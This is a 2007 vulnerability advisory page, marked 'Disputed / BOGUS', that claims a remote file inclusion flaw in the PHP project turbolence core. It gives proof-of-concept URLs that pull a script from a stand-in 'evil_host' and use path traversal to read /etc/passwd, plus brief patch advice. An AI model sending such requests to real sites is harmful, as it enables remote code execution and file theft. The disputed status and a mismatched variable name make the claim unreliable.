Bogus: turbolence core 0.0.1 alpha Remote File Inclusion ( Ascii Version )

Search:
WLB2

Disputed / BOGUS
turbolence core 0.0.1 alpha Remote File Inclusion

Published
Credit
Risk
2007.05.12
omni
High
CWE
CVE
Local
Remote
N/A
CVE-2007-2504
CVE-2007-2503
No
Yes

. . .
._ | _. .|_ _. _.;_/
[_)|(_]_|[ )(_](_.| .net
| ._|
"turbulence core.0.0.1-alpha - REMOTE FILE INCLUSION"
by Omni

1) Infos
---------
Date : 2007-04-20
Product : turbulence core
Version : 0.0.1 alpha
Vendor : http://sourceforge.net/projects/turbulence
Vendor Status : 2007-04-20 -> Not Informed!
2007-04-21 -> Vendor Informed!

Description : PHP Turbulence is a suite of PHP scripts that work together in unison. They do not require one
another
to be present, but work perfect together. The intent of the project is to eliminate the need to download
a PHP message board, PHP news, PHP user managment.

Source : omnipresent - omni
E-mail : omnipresent @ email . it - omni @ playhack . net
Team : Playhack.net Security

2) Security Issues
-------------------

--- [ Remote File Inclusion Vulnerability ] ---
===============================================

[ /user/turbolence.php - Line 34 - 39 ]

[...]

$tdbconn = tdb_connect($GLOBALS['tdb']);
if (!$tdbconn) decho("Database Connection Failed...");
decho("Database Connection: ".$tdbconn);
include($GLOBALS['tcore'].'/user/session.inc');

if ($GLOBALS['login']) {

[...]

[ end script turbolence.php ]

As you can see the variable $GLOBALS['tcode'] is not properly sanitized before being used; so an attacker can gain
access
to the shell by using a crafted URL.

--- [ PoC ] ---
===============

Tested on a php.ini configuration as the follow:

register_global = On
allow_url_unclude = On

RFI:

http://127.0.0.1/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evi
l_script.txt?

LFI:

http://127.0.0.1/turbulence.php?GLOBALS[tcore]=../../../../../../../../.
./../../../etc/passwd%00

---- [ Patch ] ----

1. Edit the source code to ensure that the input is validated.
2. To avoid Remote File Inclusion turn Off allow_url_include.

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version